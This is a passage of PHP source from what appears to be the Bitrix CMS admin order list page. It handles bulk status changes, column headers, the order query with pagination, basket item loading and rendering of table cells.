if(in_array($statusID, $allowedStatusesTo))
{
if($arAffectedOrders[$ID]["STATUS_ID"] != $statusID)
{
$saleOrder = \Bitrix\Sale\Order::load($ID);
$res = $saleOrder->setField("STATUS_ID", $statusID);
if(!$res->isSuccess())
{
$errMsgs = $res->getErrorMessages();
if(count($errMsgs) > 0)
$lAdmin->AddGroupError(Loc::getMessage("SOA_ERROR_STATUS", array("#ID#" => $ID, "#STATUS#" => $arStatus["NAME"])).": ".implode("<br>\n", $errMsgs), $ID);
else
$lAdmin->AddGroupError(Loc::getMessage("SOA_ERROR_STATUS", array("#ID#" => $ID, "#STATUS#" => $arStatus["NAME"])), $ID);
}
else
{
$isOrderSaved = true;
$res = $saleOrder->save();
if(!$res ->isSuccess())
$lAdmin->AddGroupError(implode("<br>\n", $res->getErrorMessages()), $ID);
}
}
else
{
$lAdmin->AddGroupError(Loc::getMessage("SOA_ERROR_STATUS_ALREADY", Array("#ID#" => $ID, "#STATUS#" => $arStatus["NAME"])), $ID);
}
}
else
{
$lAdmin->AddGroupError(Loc::getMessage("SOA_PERMS_STATUS_GROUP", Array("#ID#" => $ID, "#STATUS#" => $arStatus["NAME"])), $ID);
}
}
}
}
break;
}
if ($isOrderSaved)
{
Sale\Provider::resetTrustData($saleOrder->getSiteId());
}
}
}
}
$arColumn2Field = array(
"ID" => array("ID"),
"ACCOUNT_NUMBER" => array("ACCOUNT_NUMBER"),
"LID" => array("LID"),
"PERSON_TYPE" => array("PERSON_TYPE_ID"),
"PAYED" => array("PAYED", "DATE_PAYED", "EMP_PAYED_ID"),
"CANCELED" => array("CANCELED", "DATE_CANCELED", "EMP_CANCELED_ID"),
"DEDUCTED" => array("DEDUCTED"),
"MARKED" => array("MARKED", "DATE_MARKED", "EMP_MARKED_ID", "REASON_MARKED"),
"STATUS_ID" => array("STATUS_ID", "DATE_STATUS", "EMP_STATUS_ID"),
"STATUS" => array("STATUS_ID", "DATE_STATUS", "EMP_STATUS_ID"),
"PRICE_DELIVERY" => array("PRICE_DELIVERY", "CURRENCY"),
"PRICE" => array("PRICE", "CURRENCY"),
"SUM_PAID" => array("SUM_PAID", "CURRENCY"),
"USER" => array("USER_ID"),
"DATE_INSERT" => array("DATE_INSERT"),
"DATE_UPDATE" => array("DATE_UPDATE"),
"TAX_VALUE" => array("TAX_VALUE", "CURRENCY"),
"LOCK_STATUS" => array("LOCK_STATUS", "LOCK_USER_NAME"),
"BASKET" => array(),
"COMMENTS" => array("COMMENTS"),
"REASON_CANCELED" => array("REASON_CANCELED"),
"REASON_MARKED" => array("REASON_MARKED"),
"USER_EMAIL" => array("USER_EMAIL"),
"USER_DESCRIPTION" => array("USER_DESCRIPTION"),
"EXTERNAL_ORDER" => array("EXTERNAL_ORDER"),
"SOURCE_NAME" => array("SOURCE_NAME"),
"XML_ID" => array("XML_ID"),
"COMPANY_ID" => array("COMPANY_ID"),
"RESPONSIBLE_ID" => array("RESPONSIBLE_ID"),
"AFFILIATE_ID" => array("AFFILIATE_ID"),
);
$arHeaders = array(
array("id"=>"DATE_INSERT","content"=>Loc::getMessage("SI_DATE_INSERT"), "sort"=>"DATE_INSERT", "default"=>true),
array("id"=>"ID", "content"=>"ID", "sort"=>"ID", "default"=>true),
array("id"=>"USER","content"=>Loc::getMessage("SI_BUYER"), "sort"=>"USER_ID", "default"=>true),
array("id"=>"STATUS_ID","content"=>Loc::getMessage("SI_STATUS"), "sort"=>"STATUS_ID", "default"=>true, "title" => Loc::getMessage("SO_S_DATE_STATUS")),
array("id"=>"PAYED","content"=>Loc::getMessage("SI_PAID"), "sort"=>"PAYED", "default"=>true, "title" => Loc::getMessage("SO_S_DATE_PAYED")),
array("id"=>"ALLOW_DELIVERY","content"=>Loc::getMessage("SI_ALLOW_DELIVERY"), "sort"=>"ALLOW_DELIVERY", "default"=>false),
array("id"=>"CANCELED","content"=>Loc::getMessage("SI_CANCELED"), "sort"=>"CANCELED", "default"=>true),
array("id"=>"DEDUCTED","content"=>Loc::getMessage("SI_DEDUCTED"), "sort"=>"DEDUCTED", "default"=>true),
array("id"=>"MARKED","content"=>Loc::getMessage("SI_MARKED"), "sort"=>"MARKED", "default"=>true),
array("id"=>"PRICE","content"=>Loc::getMessage("SI_SUM"), "sort"=>"PRICE", "default"=>true),
array("id"=>"BASKET","content"=>Loc::getMessage("SI_ITEMS"), "sort"=>"", "default"=>true),
array("id"=>"DATE_UPDATE","content"=>Loc::getMessage("SI_DATE_UPDATE"), "sort"=>"DATE_UPDATE", "default"=>false),
array("id"=>"LID","content"=>Loc::getMessage("SI_SITE"), "sort"=>"LID"),
array("id"=>"PERSON_TYPE","content"=>Loc::getMessage("SI_PAYER_TYPE"), "sort"=>"PERSON_TYPE_ID"),
array("id"=>"PAY_VOUCHER_NUM","content"=>Loc::getMessage("SI_NO_PP"), "sort"=>"", "default"=>false),
array("id"=>"PAY_VOUCHER_DATE","content"=>Loc::getMessage("SI_DATE_PP"), "sort"=>"", "default"=>false),
array("id"=>"STATUS","content"=>Loc::getMessage("SI_STATUS_OLD"), "sort"=>"STATUS_ID", "default"=>false),
array("id"=>"PRICE_DELIVERY","content"=>Loc::getMessage("SI_DELIVERY"), "sort"=>"PRICE_DELIVERY", "default"=>false),
array("id"=>"DELIVERY_DOC_NUM","content"=>Loc::getMessage("SI_DELIVERY_DOC_NUM"), "sort"=>"", "default"=>false),
array("id"=>"DELIVERY_DOC_DATE","content"=>Loc::getMessage("SI_DELIVERY_DOC_DATE"), "sort"=>"", "default"=>false),
array("id"=>"SUM_PAID","content"=>Loc::getMessage("SI_SUM_PAID"), "sort"=>"SUM_PAID"),
array("id"=>"USER_EMAIL","content"=>Loc::getMessage("SALE_F_USER_EMAIL"), "sort"=>"USER_EMAIL", "default"=>false),
array("id"=>"PAY_SYSTEM","content"=>Loc::getMessage("SI_PAY_SYS"), "sort"=>"", "default"=>false),
array("id"=>"DELIVERY","content"=>Loc::getMessage("SI_DELIVERY_SYS"), "sort"=>"", "default"=>false),
array("id"=>"PS_STATUS","content"=>Loc::getMessage("SI_PAYMENT_PS"), "sort"=>"", "default"=>false),
array("id"=>"PS_SUM","content"=>Loc::getMessage("SI_PS_SUM"), "sort"=>"", "default"=>false),
array("id"=>"TAX_VALUE","content"=>Loc::getMessage("SI_TAX"), "sort"=>"TAX_VALUE"),
array("id"=>"BASKET_NAME","content"=>Loc::getMessage("SOA_BASKET_NAME"), "sort"=>""),
array("id"=>"BASKET_PRODUCT_ID","content"=>Loc::getMessage("SOA_BASKET_PRODUCT_ID"), "sort"=>""),
array("id"=>"BASKET_PRICE","content"=>Loc::getMessage("SOA_BASKET_PRICE"), "sort"=>""),
array("id"=>"BASKET_QUANTITY","content"=>Loc::getMessage("SOA_BASKET_QUANTITY"), "sort"=>""),
array("id"=>"BASKET_WEIGHT","content"=>Loc::getMessage("SOA_BASKET_WEIGHT"), "sort"=>""),
array("id"=>"BASKET_NOTES","content"=>Loc::getMessage("SOA_BASKET_NOTES"), "sort"=>""),
array("id"=>"BASKET_DISCOUNT_PRICE","content"=>Loc::getMessage("SOA_BASKET_DISCOUNT_PRICE"), "sort"=>""),
array("id"=>"BASKET_CATALOG_XML_ID","content"=>Loc::getMessage("SOA_BASKET_CATALOG_XML_ID"), "sort"=>""),
array("id"=>"BASKET_PRODUCT_XML_ID","content"=>Loc::getMessage("SOA_BASKET_PRODUCT_XML_ID"), "sort"=>""),
array("id"=>"BASKET_DISCOUNT_NAME","content"=>Loc::getMessage("SALE_ORDER_LIST_HEADER_NAME_DISCOUNTS"), "sort"=>""),
array("id"=>"BASKET_DISCOUNT_VALUE","content"=>Loc::getMessage("SOA_BASKET_DISCOUNT_VALUE"), "sort"=>""),
array("id"=>"BASKET_DISCOUNT_COUPON","content"=>Loc::getMessage("SALE_ORDER_LIST_HEADER_NAME_COUPONS_MULTI"), "sort"=>""),
array("id"=>"BASKET_VAT_RATE","content"=>Loc::getMessage("SOA_BASKET_VAT_RATE"), "sort"=>""),
array("id"=>"DATE_ALLOW_DELIVERY", "content"=>Loc::getMessage("SALE_F_DATE_ALLOW_DELIVERY"), "sort"=>"", "default"=>false),
array("id"=>"ACCOUNT_NUMBER","content"=>Loc::getMessage("SOA_ACCOUNT_NUMBER"), "sort"=>""),
array("id"=>"TRACKING_NUMBER","content"=>Loc::getMessage("SOA_TRACKING_NUMBER"), "sort"=>"", "default"=>false),
array("id"=>"DELIVERY_DOC_DATE","content"=>Loc::getMessage("SOA_DELIVERY_DOC_DATE"), "sort"=>"", "default"=>false),
array("id"=>"EXTERNAL_ORDER","content"=>Loc::getMessage("SOA_EXTERNAL_ORDER"), "sort"=>"", "default"=> false),
array("id"=>"SHIPMENTS","content"=>Loc::getMessage("SOA_SHIPMENTS"), "sort"=>"", "default"=> true),
array("id"=>"PAYMENTS","content"=>Loc::getMessage("SOA_PAYMENTS"), "sort"=>"", "default"=> true),
array("id"=>"SOURCE_NAME","content"=>Loc::getMessage("SALE_F_SOURCE"), "sort"=>"SOURCE_NAME", "default"=>false),
array("id"=>"XML_ID","content"=>Loc::getMessage("SO_XML_ID"), "sort"=>"XML_ID", "default"=>false),
array("id"=>"COMPANY_ID","content"=>Loc::getMessage("SALE_F_COMPANY_ID"), "sort"=>"COMPANY_ID", "default"=>false),
array("id"=>"RESPONSIBLE_ID","content"=>Loc::getMessage("SALE_F_RESPONSIBLE_ID"), "sort"=>"RESPONSIBLE_ID", "default"=>false),
array("id"=>"AFFILIATE_ID","content"=>Loc::getMessage("SI_AFFILIATE"), "sort"=>"AFFILIATE_ID", "default"=>false),
);
if($DBType == "mysql")
{
$arHeaders[] = array("id"=>"COMMENTS","content"=>Loc::getMessage("SI_COMMENTS"), "sort"=>"COMMENTS", "default"=>false);
$arHeaders[] = array("id"=>"PS_STATUS_DESCRIPTION","content"=>Loc::getMessage("SOA_PS_STATUS_DESCR"), "sort"=>"", "default"=>false);
$arHeaders[] = array("id"=>"USER_DESCRIPTION","content"=>Loc::getMessage("SI_USER_DESCRIPTION"), "sort"=>"", "default"=>false);
$arHeaders[] = array("id"=>"REASON_CANCELED","content"=>Loc::getMessage("SI_REASON_CANCELED"), "sort"=>"", "default"=>false);
$arHeaders[] = array("id"=>"REASON_MARKED","content"=>Loc::getMessage("SI_REASON_MARKED"), "sort"=>"", "default"=>false);
}
foreach ($arOrderProps as $key => $value)
{
$arHeaders[] = array("id" => "PROP_".$key, "content" => htmlspecialcharsbx($value["NAME"])." (".htmlspecialcharsbx($value["PERSON_TYPE_NAME"]).")", "sort" => "", "default" => false);
$arColumn2Field["PROP_".$key] = array();
}
foreach ($arOrderPropsCode as $key => $value)
{
$arHeaders[] = array("id" => "PROP_".$key, "content" => htmlspecialcharsbx($value["NAME"]), "sort" => "", "default" => false);
$arColumn2Field["PROP_".$key] = array();
}
$lAdmin->AddHeaders($arHeaders);
$arSelectFields[] = "ID";
$arSelectFields[] = "LID";
$arSelectFields[] = "LOCK_STATUS";
$arSelectFields[] = "LOCK_USER_NAME";
$arVisibleColumns = $lAdmin->GetVisibleHeaderColumns();
$bNeedProps = false;
$bNeedBasket = false;
foreach ($arVisibleColumns as $visibleColumn)
{
if(!$bNeedProps && SubStr($visibleColumn, 0, StrLen("PROP_")) == "PROP_")
$bNeedProps = true;
if(
!$bNeedBasket
&& $visibleColumn != 'BASKET_DISCOUNT_COUPON'
&& $visibleColumn != 'BASKET_DISCOUNT_NAME'
&& strpos($visibleColumn, "BASKET") !== false
)
$bNeedBasket = true;
if(array_key_exists($visibleColumn, $arColumn2Field))
{
if(is_array($arColumn2Field[$visibleColumn]) && count($arColumn2Field[$visibleColumn]) > 0)
{
$countArColumn = count($arColumn2Field[$visibleColumn]);
for ($i = 0; $i < $countArColumn; $i++)
{
if(!in_array($arColumn2Field[$visibleColumn][$i], $arSelectFields))
$arSelectFields[] = $arColumn2Field[$visibleColumn][$i];
}
}
}
}
$b = "sort";
$o = "asc";
$dbSite = CSite::GetList($b, $o, array());
while ($arSite = $dbSite->Fetch())
{
$serverName[$arSite["LID"]] = $arSite["SERVER_NAME"];
if(strlen($serverName[$arSite["LID"]]) <= 0)
{
if(defined("SITE_SERVER_NAME") && strlen(SITE_SERVER_NAME) > 0)
$serverName[$arSite["LID"]] = SITE_SERVER_NAME;
else
$serverName[$arSite["LID"]] = \Bitrix\Main\Config\Option::get("main", "server_name", "");
}
$WEIGHT_UNIT[$arSite["LID"]] = htmlspecialcharsbx(\Bitrix\Main\Config\Option::get('sale', 'weight_unit', "", $arSite["LID"]));
$WEIGHT_KOEF[$arSite["LID"]] = htmlspecialcharsbx(\Bitrix\Main\Config\Option::get('sale', 'weight_koef', 1, $arSite["LID"]));
}
$arGroupByTmp = array();
if($saleModulePermissions < "W")
{
foreach($arSelectFields as $k => $v)
{
if(in_array($v, Array("COMMENTS")) && $saleModulePermissions < "U")
unset($arSelectFields[$k]);
}
}
$arFilterOrder = array();
if(!empty($by) && in_array($by, $arSelectFields))
{
if(!isset($order) || !is_string($order))
$order = "DESC";
if ($by == "STATUS_ID")
{
$arFilterOrder["STATUS_ID"] = $order;
$arFilterOrder["DATE_STATUS"] = $order;
}
elseif($by == "CANCELED")
$arFilterOrder["DATE_CANCELED"] = $order;
else
$arFilterOrder[$by] = $order;
}
$sScript = "";
$usePageNavigation = true;
$navyParams = array();
if (isset($_REQUEST['mode']) && $_REQUEST['mode'] == 'excel')
{
$usePageNavigation = false;
}
else
{
$navyParams = CDBResult::GetNavParams(CAdminResult::GetNavSize($sTableID));
if ($navyParams['SHOW_ALL'])
{
$usePageNavigation = false;
}
else
{
$navyParams['PAGEN'] = (int)$navyParams['PAGEN'];
$navyParams['SIZEN'] = (int)$navyParams['SIZEN'];
}
}
if (in_array('USER_EMAIL', $arSelectFields))
{
$arSelectFields["USER_EMAIL"] = 'USER.EMAIL';
if ($searchIndex = array_search('USER_EMAIL', $arSelectFields))
unset($arSelectFields[$searchIndex]);
}
if(array_key_exists('=SOURCE.TRADING_PLATFORM_ID', $arFilterTmp) || in_array('SOURCE_NAME', $arSelectFields))
{
$runtimeFields['SOURCE'] = array(
'data_type' => 'Bitrix\Sale\TradingPlatform\OrderTable',
'reference' => array(
'ref.ORDER_ID' => 'this.ID',
),
'join_type' => 'left'
);
$arSelectFields["SOURCE_NAME"] = 'SOURCE.TRADING_PLATFORM.NAME';
if ($searchIndex = array_search('SOURCE_NAME', $arSelectFields))
unset($arSelectFields[$searchIndex]);
}
$getListParams = array(
'filter' => $arFilterTmp,
'group' => $arGroupByTmp,
'select' => $arSelectFields,
'runtime' => $runtimeFields
);
if(!empty($arFilterOrder))
$getListParams['order'] = $arFilterOrder;
if ($usePageNavigation)
{
$getListParams['limit'] = $navyParams['SIZEN'];
$getListParams['offset'] = $navyParams['SIZEN']*($navyParams['PAGEN']-1);
}
/** @var \Bitrix\Main\Entity\Event $event */
$event = new \Bitrix\Main\Event('sale', Sale\EventActions::EVENT_ON_ADMIN_ORDER_LIST, $getListParams);
$event->send();
if ($event->getResults())
{
/** @var \Bitrix\Main\EventResult $eventResult */
foreach($event->getResults() as $eventResult)
{
if($eventResult->getType() == \Bitrix\Main\EventResult::ERROR)
{
$errorMsg = new Sale\ResultError(\Bitrix\Main\Localization\Loc::getMessage('SALE_EVENT_ON_ADMIN_ORDER_LIST_ERROR'), 'SALE_EVENT_ON_ADMIN_ORDER_LIST_ERROR');
if ($eventResultData = $eventResult->getParameters())
{
if (isset($eventResultData) && $eventResultData instanceof Sale\ResultError)
{
/** @var Sale\ResultError $errorMsg */
$errorMsg = $eventResultData;
}
}
}
elseif($eventResult->getType() == \Bitrix\Main\EventResult::SUCCESS)
{
$eventParams = $eventResult->getParameters();
if (is_array($eventParams))
{
$getListParams = $eventParams;
}
}
}
}
$totalPages = 0;
if ($usePageNavigation)
{
$countQuery = new \Bitrix\Main\Entity\Query(\Bitrix\Sale\Internals\OrderTable::getEntity());
$countQuery->addSelect(new \Bitrix\Main\Entity\ExpressionField('CNT', 'COUNT(1)'));
$countQuery->setFilter($getListParams['filter']);
foreach ($getListParams['runtime'] as $key => $field)
$countQuery->registerRuntimeField($key, $field);
$totalCount = $countQuery->setLimit(null)->setOffset(null)->exec()->fetch();
unset($countQuery);
$totalCount = (int)$totalCount['CNT'];
if ($totalCount > 0)
{
$totalPages = ceil($totalCount/$navyParams['SIZEN']);
if ($navyParams['PAGEN'] > $totalPages)
$navyParams['PAGEN'] = $totalPages;
$getListParams['limit'] = $navyParams['SIZEN'];
$getListParams['offset'] = $navyParams['SIZEN']*($navyParams['PAGEN']-1);
}
else
{
$navyParams['PAGEN'] = 1;
$getListParams['limit'] = $navyParams['SIZEN'];
$getListParams['offset'] = 0;
}
}
$dbOrderList = new CAdminResult(\Bitrix\Sale\Internals\OrderTable::getList($getListParams), $sTableID);
if ($usePageNavigation)
{
$dbOrderList->NavStart($getListParams['limit'], $navyParams['SHOW_ALL'], $navyParams['PAGEN']);
$dbOrderList->NavRecordCount = $totalCount;
$dbOrderList->NavPageCount = $totalPages;
$dbOrderList->NavPageNomer = $navyParams['PAGEN'];
$dbOrderList->nSelectedCount = $totalCount;
}
else
{
$dbOrderList->NavStart();
}
$lAdmin->NavText($dbOrderList->GetNavPrint(Loc::getMessage("SALE_PRLIST")));
$ordersIds = array();
$shipmentStatuses = array();
$rowsList = array();
$basketSeparator = '<hr size="1" width="90%">';
$basketSetSeparator = '<br> - ';
if ($bExport)
{
$basketSeparator = "<br>";
$basketSetSeparator = "<br>";
}
$orderList = array();
$basketList = array();
$recommendedList = array();
$basketPropertyList = array();
$users = array();
$userIdFields = array('EMP_ALLOW_DELIVERY', 'EMP_DEDUCTED_ID', 'EMP_MARKED_ID', 'EMP_STATUS_ID', 'EMP_CANCELED_ID', 'EMP_PAYED_ID', 'RESPONSIBLE_ID');
$formattedUserNames = array();
while ($arOrder = $dbOrderList->NavNext())
{
$orderList[$arOrder['ID']] = $arOrder;
$recommendedList[$arOrder['ID']] = false;
}
if (!empty($orderList) && is_array($orderList))
{
/*
* $dbProp = \Bitrix\Sale\Internals\BasketPropertyTable::getList(array(
'order' => array("SORT" => "ASC", "ID" => "ASC"),
'filter' => array("BASKET_ID" => $arItem["ID"], "!CODE" => array("CATALOG.XML_ID", "PRODUCT.XML_ID"))
));
while($arProp = $dbProp -> fetch())
if(strlen($arProp["VALUE"]) > 0)
$fieldValue .= "<div><small>".htmlspecialcharsbx($arProp["NAME"]).": ".htmlspecialcharsbx($arProp["VALUE"])."</small></div>";
*/
if(\Bitrix\Main\Analytics\Catalog::isOn() || $bNeedBasket)
{
$basketItemIds = array();
$dbItemsList = \Bitrix\Sale\Internals\BasketTable::getList(array(
'order' => array('ID' => 'ASC'),
'filter' => array('=ORDER_ID' => array_keys($orderList))
));
while ($item = $dbItemsList->fetch())
{
$basketList[$item['ORDER_ID']][$item['ID']] = $item;
if (isset($recommendedList[$item['ORDER_ID']]) && $item['RECOMMENDATION'])
{
$recommendedList[$item['ORDER_ID']] = true;
}
if ($bShowBasketProps)
{
$basketItemIds[] = $item['ID'];
}
}
}
if ($bShowBasketProps && !empty($basketItemIds))
{
$basketItemIds = array_unique($basketItemIds);
$basketItemIdsChunk = array_chunk($basketItemIds, 1000);
foreach ($basketItemIdsChunk as $basketIds)
{
$resProp = \Bitrix\Sale\Internals\BasketPropertyTable::getList(array(
'order' => array("SORT" => "ASC", "ID" => "ASC"),
'filter' => array(
"BASKET_ID" => $basketIds,
"!CODE" => array("CATALOG.XML_ID", "PRODUCT.XML_ID"))
));
while($prop = $resProp->fetch())
{
if(strval($prop["VALUE"]) != "")
{
$basketPropertyList[$prop['BASKET_ID']][$prop['ID']] = $prop;
}
}
}
unset($basketItemIdsChunk, $basketItemIds);
}
$permUpdateOrderList = CSaleOrder::checkUserPermissionOrderList(array_keys($orderList), 'update', $arUserGroups);
$permDeleteOrderList = CSaleOrder::checkUserPermissionOrderList(array_keys($orderList), 'delete', $arUserGroups, $USER->GetID());
$affiliateCache = array();
foreach ($orderList as $orderId => $arOrder)
{
foreach ($userIdFields as $userIdField)
{
$uId = intval($arOrder[$userIdField]);
if ($uId > 0 && !in_array($uId, $users))
$users[] = $uId;
}
$formattedUserNames = GetFormatedUserName(array_values($users), false);
/**
* define personalization settings
*/
$isRecommended = false;
// personalization
if(\Bitrix\Main\Analytics\Catalog::isOn() || $bNeedBasket)
{
$arBasketItems = array();
if (isset($basketList[$orderId]))
{
$arBasketItems = $basketList[$orderId];
}
if (isset($recommendedList[$orderId]))
{
$isRecommended = $recommendedList[$orderId];
}
}
/**
* build row
*/
$rowsList[$arOrder['ID']] = $row =& $lAdmin->AddRow($orderId, $arOrder, "sale_order_view.php?ID=".$orderId."&lang=".LANGUAGE_ID.GetFilterParams("filter_"));
$lamp = "/bitrix/images/sale/".$arOrder['LOCK_STATUS'].".gif";
if($arOrder['LOCK_STATUS']=="green")
$lamp_alt = Loc::getMessage("SMOL_GREEN_ALT");
elseif($arOrder['LOCK_STATUS']=="yellow")
$lamp_alt = Loc::getMessage("SMOL_YELLOW_ALT");
else
$lamp_alt = str_replace("#LOCK_USER_NAME#", trim($arOrder['LOCK_USER_NAME']), Loc::getMessage("SMOL_RED_ALT"));
//ID
$idTmp = '<table><tr><td valign="top">';
if(!$bExport)
$idTmp .= "<img src=\"".$lamp."\" hspace='4' alt=\"".htmlspecialcharsbx($lamp_alt)."\" title=\"".htmlspecialcharsbx($lamp_alt)."\" />";
$idTmp .= "</td><td><b><a ";
if ($arOrder['MARKED'] == 'Y')
{
$idTmp .= 'style="color: red;"';
}
$idTmp .=" href='/bitrix/admin/sale_order_view.php?ID=".$orderId.GetFilterParams("filter_")."&lang=".LANGUAGE_ID."' title='".Loc::getMessage("SALE_DETAIL_DESCR")."'>##ID##</a></b></td>";
$idTmp .= "</tr>";
if($isRecommended)
{
$idTmp .= "<tr>
<td rowspan='2'>
<div class='bx-adm-bigdata-icon-medium'></div>
</td>
</tr>";
}
$idTmp .= "</table>";
$row->AddField("ID", str_replace('##ID##', Loc::getMessage("SO_ORDER_ID_PREF").$arOrder["ID"], $idTmp));
//ACCOUNT_NUMBER
$fieldValue = "";
if(in_array("ACCOUNT_NUMBER", $arVisibleColumns))
{
$fieldValue = str_replace('##ID##', Loc::getMessage("SO_ORDER_ID_PREF").$arOrder["ACCOUNT_NUMBER"], $idTmp);
}
$row->AddField("ACCOUNT_NUMBER", $fieldValue);
//XML_ID
$fieldValue = "";
if(in_array("XML_ID", $arVisibleColumns))
{
$fieldValue = $arOrder["XML_ID"];
}
$row->AddField("XML_ID", $fieldValue);
//LID
$fieldValue = "";
if(in_array("LID", $arVisibleColumns))
{
if(!isset($LOCAL_SITE_LIST_CACHE[$arOrder["LID"]])
|| empty($LOCAL_SITE_LIST_CACHE[$arOrder["LID"]]))
{
$dbSite = CSite::GetByID($arOrder["LID"]);
if($arSite = $dbSite->Fetch())
$LOCAL_SITE_LIST_CACHE[$arOrder["LID"]] = htmlspecialcharsbx($arSite["NAME"]);
}
$fieldValue = "[".$arOrder["LID"]."] ".$LOCAL_SITE_LIST_CACHE[$arOrder["LID"]];
}
$row->AddField("LID", $fieldValue);
//PERSON_TYPE
$fieldValue = "";
if(in_array("PERSON_TYPE", $arVisibleColumns))
{
if(!isset($LOCAL_PERSON_TYPE_CACHE[$arOrder["PERSON_TYPE_ID"]])
|| empty($LOCAL_PERSON_TYPE_CACHE[$arOrder["PERSON_TYPE_ID"]]))
{
if($arPersonType = CSalePersonType::GetByID($arOrder["PERSON_TYPE_ID"]))
$LOCAL_PERSON_TYPE_CACHE[$arOrder["PERSON_TYPE_ID"]] = htmlspecialcharsbx($arPersonType["NAME"]);
}
$fieldValue = "[";
if($saleModulePermissions >= "W")
$fieldValue .= '<a href="/bitrix/admin/sale_person_type.php?lang='.LANGUAGE_ID.'">';
$fieldValue .= $arOrder["PERSON_TYPE_ID"];
if($saleModulePermissions >= "W")
$fieldValue .= "</a>";
$fieldValue .= "] ".$LOCAL_PERSON_TYPE_CACHE[$arOrder["PERSON_TYPE_ID"]];
}
$row->AddField("PERSON_TYPE", $fieldValue);
//PAYED
$fieldValue = "";
if(in_array("PAYED", $arVisibleColumns))
{
$fieldValue .= '<span id="payed_'.$arOrder['ID'].'">'.(($arOrder["PAYED"] == "Y") ? Loc::getMessage("SO_YES") : Loc::getMessage("SO_NO"))."</span>";
$fieldValueTmp = $arOrder["DATE_PAYED"];
if(strlen($arOrder["DATE_PAYED"]) > 0)
{
if(IntVal($arOrder["EMP_PAYED_ID"]) > 0)
$fieldValueTmp .= '<br />'.$formattedUserNames[$arOrder["EMP_PAYED_ID"]];
if(!$bExport)
{
$sScript .= "
new top.BX.CHint({
parent: top.BX('payed_".$arOrder["ID"]."'),
show_timeout: 10,
hide_timeout: 100,
dx: 2,
preventHide: true,
min_width: 250,
hint: '".CUtil::JSEscape($fieldValueTmp)."'
});
";
}
}
}
$row->AddField("PAYED", $fieldValue);
//CANCELED
if($row->bEditMode != true
|| $row->bEditMode == true && !CSaleOrder::CanUserCancelOrder($orderId, $arUserGroups, $intUserID))
{
$fieldValue = "";
if(in_array("CANCELED", $arVisibleColumns))
{
$fieldValue .= '<span id="cancel_'.$arOrder['ID'].'">'.(($arOrder["CANCELED"] == "Y") ? Loc::getMessage("SO_YES") : Loc::getMessage("SO_NO"))."</span>";
$fieldValueTmp = $arOrder["DATE_CANCELED"];
if(IntVal($arOrder["DATE_CANCELED"]) > 0)
{
if(IntVal($arOrder["EMP_CANCELED_ID"]) > 0)
$fieldValueTmp .= '<br />'.$formattedUserNames[$arOrder["EMP_CANCELED_ID"]];
if(!$bExport)
{
$sScript .= "
new top.BX.CHint({
parent: top.BX('cancel_".$arOrder["ID"]."'),
show_timeout: 10,
hide_timeout: 100,
dx: 2,
preventHide: true,
min_width: 250,
hint: '".CUtil::JSEscape($fieldValueTmp)."'
});
";
}
}
}
$row->AddField("CANCELED", $fieldValue, true);
}
else
{
$row->AddCheckField("CANCELED");
}
//STATUS
if(in_array("STATUS", $arVisibleColumns))
{
if($row->bEditMode == true)
{
if($saleModulePermissions < "W")
{
$allowedStatusesFrom = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('from'));
$isStatusAllowed = in_array($arOrder["STATUS_ID"], $allowedStatusesFrom);
}
else
{
$isStatusAllowed = true;
}
}
if($row->bEditMode != true
|| $row->bEditMode == true && !$isStatusAllowed)
{
$fieldValue = "";
if(in_array("STATUS", $arVisibleColumns))
{
if(!isset($LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]])
|| empty($LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]))
{
$arStatus = StatusTable::getList(array(
'select' => array(
'NAME' => 'Bitrix\Sale\Internals\StatusLangTable:STATUS.NAME',
'COLOR'
),
'filter' => array(
'=ID' => $arOrder["STATUS_ID"],
'=Bitrix\Sale\Internals\StatusLangTable:STATUS.LID' => LANGUAGE_ID,
'=TYPE' => 'O'
),
'limit' => 1,
))->fetch();
if($arStatus)
{
$LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['NAME'] = htmlspecialcharsbx($arStatus["NAME"]);
$LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['COLOR'] = htmlspecialcharsbx($arStatus["COLOR"]);
}
}
$fieldValue .= "[";
if($saleModulePermissions >= "W")
$fieldValue .= '<a href="/bitrix/admin/sale_status_edit.php?ID='.$arOrder["STATUS_ID"].'&lang='.LANGUAGE_ID.'">';
$fieldValue .= $arOrder["STATUS_ID"];
if($saleModulePermissions >= "W")
$fieldValue .= "</a>";
$fieldValue .= "] ".$LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['NAME']."<br />";
$fieldValue .= $arOrder["DATE_STATUS"];
if(IntVal($arOrder["EMP_STATUS_ID"]) > 0)
$fieldValue .= '<br />'.$formattedUserNames[$arOrder["EMP_STATUS_ID"]];
$fieldValue .= "</div>";
}
$colorRGB = array();
$colorRGB = sscanf($LOCAL_STATUS_CACHE[$arOrder["STATUS_ID"]]['COLOR'], "#%02x%02x%02x");
if (count($colorRGB))
{
$color = "background:rgba(".$colorRGB[0].",".$colorRGB[1].",".$colorRGB[2].",0.6);";
$fieldValue = '<div style= "'.$color.'
margin: 0 0 0 -16px;
padding: 11px 10px 10px 16px;
min-height: 100%;
">'.$fieldValue."</div>";
}
$row->AddField("STATUS", $fieldValue, true);
}
else
{
if($row->VarsFromForm() && $_REQUEST["FIELDS"])
$val = $_REQUEST["FIELDS"][$orderId]["STATUS_ID"];
else
$val = $arOrder['STATUS_ID'];
$fieldValue = '<select name="FIELDS['.$orderId.'][STATUS_ID]">';
$statusesList = \Bitrix\Sale\OrderStatus::getAllowedUserStatuses(
$USER->GetID(),
\Bitrix\Sale\OrderStatus::getInitialStatus()
);
foreach($statusesList as $statusId => $statusName)
$fieldValue .= '<option value="'.$statusId.'"'.(($statusId == $val) ? " selected" : "").">[".$statusId."] ".htmlspecialcharsbx($statusName)."</option>";
$fieldValue .= "</select>";
$row->AddEditField("STATUS", $fieldValue);
}
}
//STATUS_ID
if(in_array("STATUS_ID", $arVisibleColumns))
{
$arStatusList = false;
if($row->bEditMode)
{
if($saleModulePermissions < "W")
{
$allowedStatusesFrom = \Bitrix\Sale\OrderStatus::getStatusesUserCanDoOperations($intUserID, array('from'));
$isStatusAllowed = in_array($arOrder["STATUS_ID"], $allowedStatusesFrom);
}
else
{
$isStatusAllowed = true;
}
}
if($row->bEditMode !== true
|| $row->bEditMode && !$isStatusAllowed)
{
$fieldValue = "";
$fieldValueTmp = "";
if(in_array("STATUS_ID", $arVisibleColumns))
{
